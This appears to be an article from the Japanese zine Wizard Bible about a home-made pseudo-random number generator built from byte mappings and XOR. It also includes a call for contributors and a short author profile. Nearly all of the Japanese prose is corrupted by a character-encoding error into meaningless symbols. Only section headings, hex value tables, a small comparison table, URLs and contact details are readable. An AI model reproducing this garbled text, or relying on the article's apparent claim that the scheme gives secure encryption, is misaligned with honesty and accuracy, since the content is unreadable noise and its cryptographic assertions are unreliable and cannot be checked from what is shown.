@Ì‚©‚çA‘‚É‚¨‚¢‚Ă͖@—¥‚ð’è‚߂ĕ¶Žš‚É‚µ’¥Å‚Ì‚½‚߂ɔ‚ð‹L˜^‚µAl‚ͤ Žæˆø‚É‚»‚Ì—¼•û‚ð—p‚¢‚ÄŒ_–ñ‚ðŒ‹‚Ñ‚Ü‚µ‚½B @‘ŠŽè‚Ì—~‚µ‚¢•¨‚ð‚‚­”„‚莩‚ç‚͈À‚­”ƒ‚¤AŽ©‚ç”é–§‚ð•ÛŽ‚µ‚‚Âî•ñŠJަ‚ð ‹‚ß‚é¤sˆ×‚ÍM—p‚Æ— Ø‚肪‚È‚¢Œð‚º‚Å푈‚ÆŒoς͓¯‚¶‚à‚̂̂悤‚Å‚·B œ1.1@‚Æ‚±‚ë‚Å @ƒGƒjƒAƒbƒN‚Æ“¯‚¶ ‚Æ‚¢‚¤V‚µ‚³‚ŃtƒHƒ“EƒmƒCƒ}ƒ“‚Ì•½•ûÌ’†–@‚Æ‚¢‚¤‹[Ž— —”¶¬–@‚ªŒÃ“T“I¶¬–@‚ÆŒ¾‚í‚ê‚é‚Ì‚ÍA‰¹ˆæ‚ªL‚­‚Ä“–Žž‚ł͑剹—ʂł ‚Á ‚½‚Í‚¸‚̃sƒAƒmˆÈ~‚̉¹Šy‚ªƒNƒ‰ƒVƒbƒN‚ƌĂ΂ê‚é‚̂Ǝ—‚Ä‚¢‚Ü‚·B @ŒÃ“T‚Ƃ͂¢‚Á‚Ä‚àˆÃ†‰»–@‚Ì—ðŽj‚É”ä‚׋[Ž——”‚Ì•û‚͂܂¾V‚µ‚¢‚Æ‚¢‚¦‚Ü‚·B @‚¯‚ê‚Ç‚à‹[Ž——”¶¬–@‚͈ˑRAˆÃ†‰»‚ÌŽè–@‚É—Š‚Á‚Ä‚¢‚Ä”‚ð‚©‚«¬‚º‚鈽 ‚¢‚Í’·‚¢zŠÂ‚ðŒ©‚Â‚¯o‚·Å‘P‚Ì•û–@‚ð’T‚µ‚Ä‚¢‚邾‚¯‚̂悤‚ÉŒ©‚¦‚Ü‚·B ‚»‚ê‚ç‚̓fƒBƒe[ƒ‹‚Å‚ ‚Á‚Ä–{Ž¿‚ł͂Ȃ¢‚悤‚ÉŽ„‚ɂ͎v‚¦‚éB ¡0x02.)@SPNetwork‚̃rƒbƒg‘€ì‚͌ÓT‚Æ‚¢‚¤‚æ‚茴Žn“IH @‚³‚Ä‘S’PŽËŽÊ‘œŠg‘傯‚¢‚¤Å‚à’Pƒ‚È‹[Ž——”¶¬–@‚ðЉ‚Ü‚·B @‘S’PŽËŽÊ‘œ‚Æ‚¢‚¤‚̂̓V[ƒhi‰Šú’lj‚ð‹tŽZ‚Å‚«‚é‹[Ž——”‚̂悤‚È‚à‚Ì‚Æ Žv‚Á‚Ä‚­‚¾‚³‚¢B @Š·Žš‚Æ•À‚בւ¦‚É‚æ‚é’uŠ·‚Å‚à‹[Ž——”‚ðì‚邱‚Æ‚ªo—ˆ‚Ü‚·B œ2.1 @‚Ü‚¸‚Í‚Uƒrƒbƒgî•ñ‚ð•ÏŠ·‚·‚邱‚ƂȂµ‚É‚Wƒrƒbƒg‚Ì‘S’PŽËŽÊ‘œ‚ÉŠg‘債‚Ü‚·B @‚»‚ꂼ‚ê‚Pƒrƒbƒg‚Ìî•ñ‚ðŽ‚Â•Ï”‚xA‚yA‚`A‚aA‚bA‚c‚ɂ‚¢‚ÄA‚Qƒrƒb ƒg‚ð‚P’PˆÊ‚Æ‚µ‚Ä‚x‚y‚Æ‚`‚aA‚b‚c‚̃uƒƒbƒN‚É•ª‚¯‚éB @‚`‚aA‚b‚c‚̃uƒƒbƒN‚»‚ꂼ‚ê‚É‚x‚y‚ð’ljÁ‚µ‚Ä•t‚¯‰Á‚¦‚éB @‚`‚a‚x‚y‚Ì’l‚Ì‚Sƒrƒbƒg‚Æ‚b‚c‚x‚y‚Ì‚Sƒrƒbƒg‚ÌŒv‚Wƒrƒbƒg‚ð‚`‚a‚x‚y‚b‚c‚x ‚y‚̇‚É•À‚ׂéB @‚xA‚yA‚`‚Æ‚aA‚bA‚c‚Ì‘g‚݇‚킹‚Í‚U‚S’ʂ肠‚Á‚Ä‚Wƒrƒbƒg‚ÌŠe’l‚Í‚x‚y ‚`‚a‚b‚c‚Ì’l‚ƈê‘Έê‘Ήž‚µ‚Ä‚¢‚ÄA‚»‚ê‚ç‚Í‚x‚y‚`‚a‚b‚c‚Ì‘S’PŽËŽÊ‘œ‚Æ‚¢‚¦ ‚éB @‰º‚Í‚»‚Ì•\‚Å‚·B +---------------------------------------+ | 00 | 04 | 08 | 0c | 40 | 44 | 48 | 4c | |---------------------------------------| | 80 | 84 | 88 | 8c | c0 | c4 | c8 | cc | |---------------------------------------| | 11 | 15 | 19 | 1d | 51 | 55 | 59 | 5d | |---------------------------------------| | 91 | 95 | 99 | 9d | d1 | d5 | d9 | dd | |---------------------------------------| | 22 | 26 | 2a | 2e | 62 | 66 | 6a | 6e | |---------------------------------------| | a2 | a6 | aa | ae | e2 | e6 | ea | ee | |---------------------------------------| | 33 | 37 | 3b | 3f | 73 | 77 | 7b | 7f | |---------------------------------------| | b3 | b7 | bb | bf | f3 | f7 | fb | ff | +---------------------------------------+ @ˆö‚݂ɕϔ‚vA‚w‚ð‰Á‚¦‚ÄŒv‚Wƒrƒbƒg‚Ìî•ñ‚ð•ÏŠ·‚·‚邱‚ƂȂµ‚É‚P‚Uƒrƒbƒg ‚Ì‘S’PŽËŽÊ‘œ‚ÉŠg‘å‚·‚é‚É‚Íæ‚Ì‚`‚a‚x‚y‚b‚c‚x‚y‚ð‚Qƒrƒbƒg‚¸‚Â‚É‹æØ‚Á‚Ä‚` ‚a‚v‚w‚x‚y‚v‚w‚b‚c‚v‚w‚x‚y‚v‚w‚Æ‚¢‚¤‚悤‚É‚v‚w‚ð’ljÁ‚µ‚Ä•À‚ׂê‚΂悢B @‚‚܂èA‚±‚Ì‘S’PŽËŽÊ‘œŠg‘å‚̎葱‚«‚Í‚mƒrƒbƒg‚̕ϔ‚ɂ‚¢‚Ä‚Q‚Ìi‚m€‚Qj æƒrƒbƒg‚Ì‘S’PŽËŽÊ‘œ‚ðo—Í‚·‚éBi’A‚µ‚m‚Í‹ô”‚Å‚UˆÈã‚Ì®”j œ2.2 @ŽŸ‚É‚mƒrƒbƒg‚̕ϔ‚ðŠ·Žš‚Æ•À‚בւ¦‚Å’uŠ·‚µ‚½‚à‚̂ɂ‚¢‚Ä“¯—l‚É‘S’PŽËŽÊ ‘œ‚ðì‚éB @‰º‚Í‚Uƒrƒbƒgî•ñ‚ð’uŠ·‚µ‚½‘S’PŽËŽÊ‘œ‚Ì•\‚Å‚·B +---------------------------------------+ | 00 | 98 | 93 | 0b | a8 | 30 | 3b | a3 | |---------------------------------------| | ab | 33 | 38 | a0 | 03 | 9b | 90 | 08 | |---------------------------------------| | 55 | cc | c6 | 5f | fc | 65 | 6f | f6 | |---------------------------------------| | ff | 66 | 6c | f5 | 56 | cf | c5 | 5c | |---------------------------------------| | 76 | ef | e5 | 7c | df | 46 | 4c | d5 | |---------------------------------------| | dc | 45 | 4f | d6 | 75 | ec | e6 | 7f | |---------------------------------------| | 23 | bb | b0 | 28 | 8b | 13 | 18 | 80 | |---------------------------------------| | 88 | 10 | 1b | 83 | 20 | b8 | b3 | 2b | +---------------------------------------+ œ2.3 @‚»‚µ‚ÄAæ‚قǂ̑S’PŽËŽÊ‘œ‚Æ‚d‚w‚n‚q‰‰ŽZ‚·‚ê‚΋tŽZ‚Å‚«‚È‚¢‹[Ž——”‚Ìo —ˆã‚ª‚è‚Å‚·B @‰º‚Ì‚U‚S’Ê‚è‚ÌŠe’l‚Í‚x‚y‚`‚a‚b‚c‚Ì’l‚ƈê‘Έê‘Ήž‚µ‚Ä‚¢‚ÄA‚»‚ê‚ç‚Í‚x‚y ‚`‚a‚b‚c‚©‚çì‚ç‚ê‚é‚Wƒrƒbƒg‚Ì‹[Ž——”‚Å‚·B +---------------------------------------+ | 00 | 9c | 9b | 07 | e8 | 74 | 73 | ef | |---------------------------------------| | 2b | b7 | b0 | 2c | c3 | 5f | 58 | c4 | |---------------------------------------| | 44 | d9 | df | 42 | ad | 30 | 36 | ab | |---------------------------------------| | 6e | f3 | f5 | 68 | 87 | 1a | 1c | 81 | |---------------------------------------| | 54 | c9 | cf | 52 | bd | 20 | 26 | bb | |---------------------------------------| | 7e | e3 | e5 | 78 | 97 | 0a | 0c | 91 | |---------------------------------------| | 10 | 8c | 8b | 17 | f8 | 64 | 63 | ff | |---------------------------------------| | 3b | a7 | a0 | 3c | d3 | 4f | 48 | d4 | +---------------------------------------+ @‚Wƒrƒbƒg‚ð‚P‚Uƒrƒbƒg‚ÉŠg‘債‚½‚èAÚ‚µ‚¢‚±‚Ƃ͂f‚n‚n‚f‚k‚d‚̃uƒƒO‚É‘ ‚¢‚Ä‚ ‚è‚Ü‚·B http://takadasan.blogspot.com/ ¡0x03.)@‹[Ž——”‚Á‚Ä–{“–‚ÉH @‚±‚Ì•\‚͂Ȃñ‚¾‚©‚c‚d‚r‚Ì‚rƒ{ƒbƒNƒX‚Ì’†–¡‚Ý‚½‚¢‚ÆŽv‚¤‚©‚à’m‚ê‚Ü‚¹‚ñ‚ªA ‚ ‚ê‚Íãk–§‚ÉÝŒv‚³‚ꂽ‚à‚Ì‚ÅA‚±‚ê‚Í’uŠ·‚É‚æ‚Á‚ÄŽ©‘R‚Éo—ˆ‚é‚à‚ÌB @‚c‚d‚r‚Ì”ñüŒ`«‚Í‚rƒ{ƒbƒNƒX‚Ì•\‚ðŽQÆ‚·‚邱‚ƂŶ‚¶‚é‚à‚̂ł·‚ªA‚±‚Ì ‹[Ž——”‚̈ê•ûŒü«‚Í‚d‚w‚n‚q‰‰ŽZ‚É‚æ‚é‚à‚̂ł·B @‚`O‚a‚b@‚̂Ƃ«A‚b‚Ì’l‚¾‚¯‚©‚ç‚`‚Æ‚a‚Ì’l‚ð‹‚߂邱‚Æ‚Ío—ˆ‚È‚¢B @‚x‚y‚`‚a‚b‚c‚Ì‘S’PŽËŽÊ‘œ“¯Žm‚ð‚d‚w‚n‚q‰‰ŽZ‚µ‚½‚à‚Ì‚ª‚O‚łȂ¢ŽžA‚Ç‚¿‚ç ‚©‚Ì‘S’PŽËŽÊ‘œ‚Ì’l‚ª‚È‚¯‚ê‚Îã‚ÌŠe’l‚©‚ç‚à‚¤ˆê‚‚̑S’PŽËŽÊ‘œ‚Ì’l‚ð‹‚ß‚é ‚±‚Æ‚Ío—ˆ‚È‚¢‚̂Ō´‘œ‚Å‚ ‚é‚x‚y‚`‚a‚b‚c‚Ì’l‚Í‹tŽZ‚Å‚«‚Ü‚¹‚ñB @‚µ‚©‚µA‚±‚Ì‹[Ž——”¶¬–@‚̓rƒbƒg”‚ª‘‚¦‚é‚Æì¬‚ÉŽžŠÔ‚ª‚©‚©‚é‚Ì‚ª“ï “_‚Å‚·B @‚mƒrƒbƒg‚ɂ‚¢‚Ä‚Q‚Ìi‚m€‚Qjæƒrƒbƒg‚Ì‘S’PŽËŽÊ‘œ‚ðo—Í‚·‚邽‚ß‚ÉA‚» ‚Ì‘O‚Ìi‚m|‚Qjƒrƒbƒg‚Ì‘S’PŽËŽÊ‘œ‚ðì‚é‚Q”{‚̎蔂ª•K—v‚Å‚·B @‚½‚Æ‚¦‚ÎA‚à‚µ‚P•b‚É‚P’›ƒrƒbƒg‚Ì‹[Ž——”‚ðo—Í‚·‚éƒRƒ“ƒsƒ…[ƒ^‚ª‚ ‚邯 ‚µ‚ÄA‚P’›‚Íi‚Q‚Ì‚S‚Oæj‚¾‚©‚ç‹[Ž——”‚̃V[ƒh‚̑傫‚³‚Í‚W‚Oƒrƒbƒg‚Æ‚¢ ‚¤‚±‚ƂɂȂèA‚P”N‚ªi‚Q‚Ì‚Q‚Tæj•b‚Æ‚µ‚Ä‚»‚Ìo—Í•\‚ðì‚é‚Ì‚Éi‚Q‚Ì‚T‚T æj”N‚ª•K—v‚Å‚·B @‹tŽZ‚ªo—ˆ‚È‚­‚Ä‘SŒ®ŒŸõ‚É‚à“¯‚¶‚¾‚¯ŽžŠÔ‚ð”ï‚₵‚ÄA‚T‚Oƒrƒbƒg‚̃V[ƒh ‚ð—p‚¢‚é‚È‚ç‚P‚O‚O‚O”N‚©‚©‚邱‚ƂɂȂéB ¡0x04.)@‰ž—p‚ÍH @‚»‚ê‚Å‚àŒöŠJŒ®‚ƈقȂ讔‚Ì’l‚·‚ׂĂðŽg—po—ˆ‚é‚̂͗˜“_‚Å‚·B @‚»‚±‚ÅAƒƒ“ƒ^ƒCƒ€ƒpƒbƒh‚»‚ê‚àƒ”ƒ@[ƒiƒ€ˆÃ†‚Æ‚µ‚Ä—˜—p‚·‚é‚©–”‚̓nƒbƒV ƒ…ŠÖ”‚Æ‚µ‚Ä—˜—p‚·‚é‚©‚ªl‚¦‚ç‚ê‚Ü‚·B @ƒ”ƒ@[ƒiƒ€ˆÃ†‚Í•½•¶‚Æ“¯‚¶’·‚³‚ÌŒ®‚ª•K—v‚Å‚ ‚邱‚Æ‚©‚ç’P‚É—˜_“I‚ɈÀ‘S ‚ȈƂƂµ‚Ĉµ‚í‚ê‚Ä‚«‚Ü‚µ‚½B @‚±‚Ì‹[Ž——”¶¬–@‚Ȃ畽•¶‚æ‚謂³‚È—”‚ÌŽí‚Å•½•¶‚æ‚è’·‚¢—”—ñ‚ªì‚ê ‚Ü‚·B‚à‚¿‚ë‚ñAƒVƒƒƒmƒ“‚ÌØ–¾‚Ì‘O’ñ‚Å‚ ‚镽•¶‚Æ“¯‚¶‚©’·‚¢—”‚Æ‚¢‚¤‚Ì‚ª ‹[Ž——”‚ɑւí‚é‚Ì‚¾‚©‚çÄŒŸØ‚ª•K—v‚©‚ÈB @ƒnƒbƒVƒ…ŠÖ”‚ÍŒ³‚̃rƒbƒg—ñ‚̈ê‚‚ðŽÌ‚ċނèAŽc‚è‚ðŒvŽZ‚ÉŽg—p‚·‚é‚Ì‚ª‘½ ‚¢‚Å‚·‚ËB @‚Pƒrƒbƒgî•ñ‚̕ϔ‚`A‚aA‚bA‚c‚ɂ‚¢‚Ä‚Rƒrƒbƒgî•ñ‚ðŽæ‚èo‚·‚È‚çŠeƒr ƒbƒg‚Ì‘g‚݇‚킹‚ð‚d‚w‚n‚q‰‰ŽZ‚µ‚½‚à‚̂̂¤‚¿‚©‚ç‘I‚Ԃׂ«‚Å‚·B @‚`O‚aA‚`O‚bA‚bO‚c‚Ì’l‚ð—p‚¢‚Ä“ñ‚‚̂Sƒrƒbƒgî•ñ‚`A‚aA‚bA‚c‚Æ‚vA ‚wA‚xA‚y‚ɂ‚¢‚ÄŠe‚Rƒrƒbƒg‚ðŽæ‚èo‚µAã‚Ì’uŠ·‚µ‚È‚¢‚Wƒrƒbƒg‚Ì‘S’PŽËŽÊ ‘œ‚𶬂µ‚ÄA‚à‚¤ˆê‚‚̂Wƒrƒbƒgî•ñ‚ɂ‚¢‚Ä‚à“¯—l‚É‚µA’uŠ·‚µ‚½‘S’PŽËŽÊ ‘œ‚Æ‚d‚w‚n‚q‰‰ŽZ‚µ‚½‚Æ‚±‚ëA‚O‚O`‚e‚e‚Ì’l‚ª‚»‚ꂼ‚ê‚Q‚T‚U‰ñoŒ»‚µ‚P‚Uƒr ƒbƒg‚ª‚Wƒrƒbƒg‚É”¼Œ¸‚·‚邯‚¢‚¤—Ç‚¢Œ‹‰Ê‚ª‚ł܂µ‚½B @ƒ_ƒCƒWƒFƒXƒg‚Æ‚d‚w‚n‚q‰‰ŽZA—¼•û‚É‚æ‚éˆê•ûŒü«‚Í”ñí‚É—LŒø‚Å‚·B œ4.1@’Q‚«‚Ì‹[Ž——”‚É‚æ‚éˆÃ†‰» @’uŠ·‚µ‚Ä‚Uƒrƒbƒg‚©‚ç‚Wƒrƒbƒg‚ÖŠg‘債‚½ã‚Ì•\‚ÌŠe’l‚ÆA‚v‚w‚Ì‚Qƒrƒbƒg‚ð ’ljÁ‚µ‚½‚`‚a‚b‚c‚x‚y‚v‚w‚Ì‚Wƒrƒbƒg’l‚Æ‚ð‚d‚w‚n‚q‰‰ŽZ‚µ‚Ä‚Ý‚é‚ÆA‚O‚O`‚e ‚e‚Ì’l‚ªˆê—l•ª•z‚µ‚Ä‚¢‚é‚Ì‚ª•ª‚©‚è‚Ü‚·B +-----------------------------------------------+ |00|88|b3|3b|e8|60|5b|d3|2b|a3|98|10|c3|4b|70|f8| |51|d8|e2|6b|b8|31|0b|82|7b|f2|c8|41|92|1b|21|a8| |7e|f7|cd|44|97|1e|24|ad|54|dd|e7|6e|bd|34|0e|87| |2f|a7|9c|14|c7|4f|74|fc|04|8c|b7|3f|ec|64|5f|d7| |01|89|b2|3a|e9|61|5a|d2|2a|a2|99|11|c2|4a|71|f9| |50|d9|e3|6a|b9|30|0a|83|7a|f3|c9|40|93|1a|20|a9| |7f|f6|cc|45|96|1f|25|ac|55|dc|e6|6f|bc|35|0f|86| |2e|a6|9d|15|c6|4e|75|fd|05|8d|b6|3e|ed|65|5e|d6| |02|8a|b1|39|ea|62|59|d1|29|a1|9a|12|c1|49|72|fa| |53|da|e0|69|ba|33|09|80|79|f0|ca|43|90|19|23|aa| |7c|f5|cf|46|95|1c|26|af|56|df|e5|6c|bf|36|0c|85| |2d|a5|9e|16|c5|4d|76|fe|06|8e|b5|3d|ee|66|5d|d5| |03|8b|b0|38|eb|63|58|d0|28|a0|9b|13|c0|48|73|fb| |52|db|e1|68|bb|32|08|81|78|f1|cb|42|91|18|22|ab| |7d|f4|ce|47|94|1d|27|ae|57|de|e4|6d|be|37|0d|84| |2c|a4|9f|17|c4|4c|77|ff|07|8f|b4|3c|ef|67|5c|d4| +-----------------------------------------------+ @‚x‚y‚`‚a‚b‚c‚ɂ‚¢‚Ă̂Wƒrƒbƒg’·‚Ì‘S’PŽËŽÊ‘œ‚Æ‚`‚a‚b‚c‚x‚y‚v‚w‚Ƃ̂d‚w ‚n‚q‰‰ŽZ‚Å‚·‚©‚çAƒƒ“ƒ^ƒCƒ€ƒpƒbƒh‚ÌŽè–@‚Å’ÊMæ‚É‚x‚y‚`‚a‚b‚c‚Ì‚Uƒrƒbƒg‚ª Šù‚ÉŽè“n‚½‚³‚ê‚Ä‚¢‚邯‚·‚ê‚ÎA‘ŠŽè‚ɂ͂d‚w‚n‚q‰‰ŽZ’l‚Ì‚¤‚¿‚̉ºˆÊ‚Qƒrƒbƒg‚ð ‘—‚邾‚¯‚ł悢B @‚±‚ê‚Í‚x‚y‚`‚a‚b‚c‚Ì‚Uƒrƒbƒg‚Å‚vA‚w‚ðˆÃ†‰»‚µ‚½‚±‚ƂȂèAƒVƒƒƒmƒ“‚ª‚¢‚¤ u•½•¶ƒTƒCƒY…Œ®ƒTƒCƒYv‚Ȃ̂ÅA‚±‚̈Ɖ»‚͈À‘S‚Å‚·B @‚Ü‚½A‚Wƒrƒbƒg‚ð‚P‚Uƒrƒbƒg‚ÉŠg‘å‚·‚é’Q‚«‚Ì‹[Ž——”¶¬–@‚Å‚à‚Wƒrƒbƒg‚ð ’ljÁ‚µ‚½‚P‚Uƒrƒbƒg‚Ƃ̂d‚w‚n‚q‰‰ŽZ’l‚Í‚O‚O‚O‚O`‚e‚e‚e‚e‚Ì’l‚ªˆê—l•ª•z‚µ ‚Ä‚¢‚ÄA‰ºˆÊ‚Wƒrƒbƒg‚ð‘—‚é‚Ȃ炱‚ê‚Íu•½•¶ƒTƒCƒYŒ®ƒTƒCƒYv‚Ȃ̂œ¯‚¶‚­ ˆÀ‘S‚ȈƉ»–@‚Æ‚¢‚¦‚Ü‚·B @‚»‚êˆÈã‚̃rƒbƒg”‚ÌꇂłàAˆ«ˆÓ‚Ì‚ ‚é‰ð“ÇŽÒ‚ª•½•¶‚ƈƉ»•¶‚ÌŽè‚É—¼ •û‚ð“ü‚ê‚Ä‘SŒ®ŒŸõ‚ð‚µ‚½‚Æ‚µ‚Ä‚à‘—M‚³‚ê‚È‚¢•”•ª‚̃rƒbƒg’l‚ª•ª‚©‚ç‚È‚¢‚Æ ƒV[ƒh‚Ì’l‚ðŠm’è‚Å‚«‚¸‚ÉI‚í‚é‚Í‚¸‚Å‚·B œ4.2@–³ìˆ×«‚ÆÅ‘åƒGƒ“ƒgƒƒs[ @‹[Ž——”¶¬–@‚É‚àFX‚ ‚‚ÄA—”‚ÌŒŸ’è‚Æ‚¢‚¤‚Ì‚ª‚ ‚é‚ñ‚Å‚·‚Ë‚¥B @‹[Ž——”—ñ‚Ì“Œv“I‚È«Ž¿‚𒲂ׂĕ΂肪‚È‚¢‚È‚çA‚»‚Ì‹[Ž——”—ñ‚Í–³ìˆ× ‚Å‚ ‚邯l‚¦‚ç‚ê‚é‚»‚¤‚Å‚·B @‚»‚µ‚Ä‚±‚ñ‚È•\‚ðƒCƒ“ƒ^[ƒlƒbƒg‚ÅŒ©‚‚¯‚½‚̂ł·B Še bit ‚Ì 1 ‚ÌoŒ»‰ñ” +-----------------------------------------------------------+ |@@@ƒAƒ‹ƒSƒŠƒYƒ€@@@|Å‘åoŒ»”|ŬoŒ»”| •½‹ÏoŒ»” | |-----------------------------------------------------------| |@@@üŒ`‡“¯–@@@@@| 1047 | 954 | 1001 | |-----------------------------------------------------------| |üŒ`‚eD‚aƒVƒtƒgƒŒƒWƒXƒ^| 1069 | 907 | 1001 | |-----------------------------------------------------------| |@ƒƒ‹ƒZƒ“ƒkEƒcƒCƒXƒ^@| 1097 | 927 | 999 | |-----------------------------------------------------------| |@@‚w‚‚’‚r‚ˆ‚‰‚†‚”@@| 1098 | 922 | 998 | +-----------------------------------------------------------+ @‘¼‚É‚àFX‚ÈŠÏ“_‚©‚瓌v“I‚É’²‚ׂĂ¢‚ÄA•½‹Ï“I‚Ȍ뷂̊ϓ_‚ł͂ǂ̃Aƒ‹ ƒSƒŠƒYƒ€‚àŒë·‚ª¬‚³‚¢‚ÆŒ‹˜_•t‚¯‚Ä‚¢‚Ü‚·B‚’m‘傾‚Á‚½‚ÆŽv‚¢‚Ü‚·‚ªEEE ˆø—pŒ³‚ð–Y‚ê‚Ä‚²–ƂȂ³‚¢ u‘S’PŽËŽÊ‘œŠg‘å‚É‚æ‚é‹[Ž——”¶¬–@v‚Í‚±‚̂悤‚Ȍ뷂͂ ‚è‚Ü‚¹‚ñB’Q‚« ‚Ì‹[Ž——”‚ł̈ê—l•ª•z‚ÍŒ³‚Ì‚mƒrƒbƒg‚̃V[ƒh‚Ì•ª•z‚ƕςí‚炸A‚»‚ê‚ÍÅ‘å ‚ÌƒGƒ“ƒgƒƒs[‚ð•Û‚Á‚Ä‚¢‚Ü‚·B œ4.3@ŠÖSŽ– @—Ⴆ‚Αf””»’èƒvƒƒOƒ‰ƒ€‚ª•‘D‚¾‚Æ‚·‚邯A—ÊŽqŒvŽZ‹@‚Æ‚¢‚¤ŒöŠJŒ®ƒ}ƒjƒA ‚ɂ͉F’ˆ‘DŠÍƒ„ƒ}ƒg‚Ý‚½‚¢‚Ȃ̂ªŒ»‚ê‚ÄA‚Æ‚Á‚Ä‚à–Ê”’‚­‚È‚Á‚Ä—ˆ‚½‚悤‚Å‚·B @‚à‚µA—ÊŽqŒvŽZ‹@‚Å”ç—ÊŽqƒrƒbƒg‚̃n[ƒhƒEƒFƒA‚ªŽÀŒ»‚µ‚½‚ç•À—ñˆ—‚µ‚Ä —˜_ãAŒ»Ý‚ÌÅ‘¬ƒX[ƒp[ƒRƒ“ƒsƒ…[ƒ^i•À—ñ“x‚ª220ˆÈ‰ºj‚Å”ç”N‚©‚©‚Á‚Ä ‚à‰ð‚¯‚È‚¢‚悤‚ÈŒvŽZ‚Å‚àA”\•b‚Æ‚¢‚Á‚½’Z‚¢ŽžŠÔ‚Å‚±‚È‚·‚±‚Æ‚ª‚Å‚«‚é‚»‚¤ ‚ÈB @‚»‚¤‚È‚é‚Æ”Šw“I‚È“ï–â‚ð‰ð‚­‚̂Ɋ|‚©‚éƒRƒ“ƒsƒ…[ƒ^“IŽžŠÔ—Ê‚ðˆê•ûŒü«‚Ì ª‹’‚Æ‚·‚éŒöŠJŒ®‚Í—§ê‚ªŠë‚¤‚¢B @‚à‚Æ‚à‚ÆA‚±‚Ì–â‘è‚Í‰ð‚¯‚È‚¢–”‚ÍŽžŠÔ‚ªŠ|‚©‚邯‚¢‚¤Žå’£‚ÍŠw–â‚â‹Zp‚Ìi •à‚ð”Û’è‚·‚邿‚¤‚È‚à‚̂Ń{ƒgƒ‹ƒlƒbƒN‚ª‰ðÁ‚·‚ê‚ÎŒø”\‚ðŽ¸‚¤‚à‚̂ł·B @‚µ‚©‚µ‹tŽZ‚ªo—ˆ‚È‚­‚Äì‚é‚̂Ɠ¯‚¶‚¾‚¯ŽžŠÔ‚ð”ï‚â‚·‚Ææ‚Éq‚ׂ½’Q‚«‚Ì‹[ Ž——”‚Í‚»‚¤‚ł͂Ȃ¢B—ÊŽqŒvŽZ‹@‚ªA‚P•b‚É‚P’›ƒrƒbƒg‚Ì‹[Ž——”‚ðo—Í‚·‚é ƒRƒ“ƒsƒ…[ƒ^‚Ì‚P’›”{‚ÌŒvŽZ”\—Í‚ðŽ‚Â‚Æ‚µ‚Ä‚à‚»‚̃V[ƒh‚̑傫‚³‚ð”{‚Ì‚P‚U ‚Oƒrƒbƒg‚É‚·‚ê‚΂»‚Ìo—Í•\‚ðì‚é‚Ì‚Éi‚Q‚Ì‚P‚R‚Tæj”N‚©‚©‚邱‚ƂɂȂéB @–ܘ_A‚»‚ñ‚ȑ傫‚È—”—ñ‚ÍŽÀ—p‚ÉŽg‚¤‚ɂ͕s‰Â”\‚Ȃ̂ª”Y‚݂ł·B ¡0x05.)@‚¨‚í‚è‚É @ƒuƒƒO‚Ì‹LŽ–‚ɂ͓Á‹–‚Æ‚¢‚¤’m“IŠ—LŒ ‚ª—‚ñ‚Å‚¢‚ÄAŒ¤‹†‚âŠwK—p‚Ì”z•z‚Í Ž©—R‚Å‚·‚ªˆø—pŒ³‚𖾋L‚·‚é‚ȂǒˆÓ‚ª•K—v‚Å‚·B @‚Ü‚µ‚Ă△—¿‚̃AƒvƒŠƒP[ƒVƒ‡ƒ“‚ðì‚Á‚Ä”z•z‚·‚邱‚Æ‚Ío—ˆ‚Ü‚¹‚ñB @•K‚¸‹à–ׂ¯‚Ì‚½‚߂łȂ­‚Ă͂¢‚¯‚È‚¢‚̂ł·B @‚»‚µ‚Ä—˜‰v‚ðŽ„‚É‚à•ª‚¯‚ĉº‚³‚¢B x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- ‘æ3Í: ‚¨’m‚点 --- x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ›Wizard Bibleihttp://wizardbible.org/j‚ł͎žAŽ·•Mƒ‰ƒCƒ^[‚ð•åW‚µ‚Ä ‚¢‚Ü‚·B @ˆµ‚¤“à—e‚̃e[ƒ}‚ÍL‹`‚Å‚Ìuunder groundv‚Å‚·B—Ⴆ‚΃nƒbƒLƒ“ƒO‚âƒZƒL ƒ…ƒŠƒeƒB‚©‚çƒsƒbƒLƒ“ƒO‚ȂǂƕL‚¢“à—e‚ðl‚¦‚Ä‚¢‚Ü‚·B‚Ü‚½“ÁŽê‚ÈE‹Æ‚âŽï –¡‚̉ðà‚Ȃǂłà\‚¢‚Ü‚¹‚ñB @ˆê‰ñ‚«‚è‚Å‚à\‚¢‚Ü‚¹‚ñB‚Ü‚½•K‚¸–ˆ‰ñ˜AÚ‚·‚é‹`–±‚à‚ ‚è‚Ü‚¹‚ñ‚Ì‚ÅA‚Å‚« ‚é”͈͂Å\‚¢‚Ü‚¹‚ñB‹CŒy‚ɺ‚ð‚©‚¯‚Ä‚­‚¾‚³‚¢B ›Kenji Aiko‚³‚ñ‚ªQ&A‚ðì‚Á‚Ä‚­‚ê‚Ü‚µ‚½B‰‚߂ĎQ‰Á‚·‚él‚Å‚à‚í‚©‚è‚â‚·‚­ ‘‚©‚ê‚Ä‚¢‚Ü‚·‚Ì‚ÅAŽQl‚É‚µ‚Ä‚­‚¾‚³‚¢B http://wizardbible.org/wbQandA.html ›Wizard Bible‚ÉŽQ‰ÁŠó–]‚Ì•û‚Í‹CŒy‚Ƀ[ƒ‹iipusiron@gmail.comj‚­‚¾‚³‚¢B x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ---- ‘æ4Í: ’˜ŽÒƒvƒƒtƒB[ƒ‹ --- x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ¡unya œJob: ƒlƒbƒgƒ[ƒNƒGƒ“ƒWƒjƒA œWeb: http://routehack.org/ œMail: unya@routehack.org œComment: 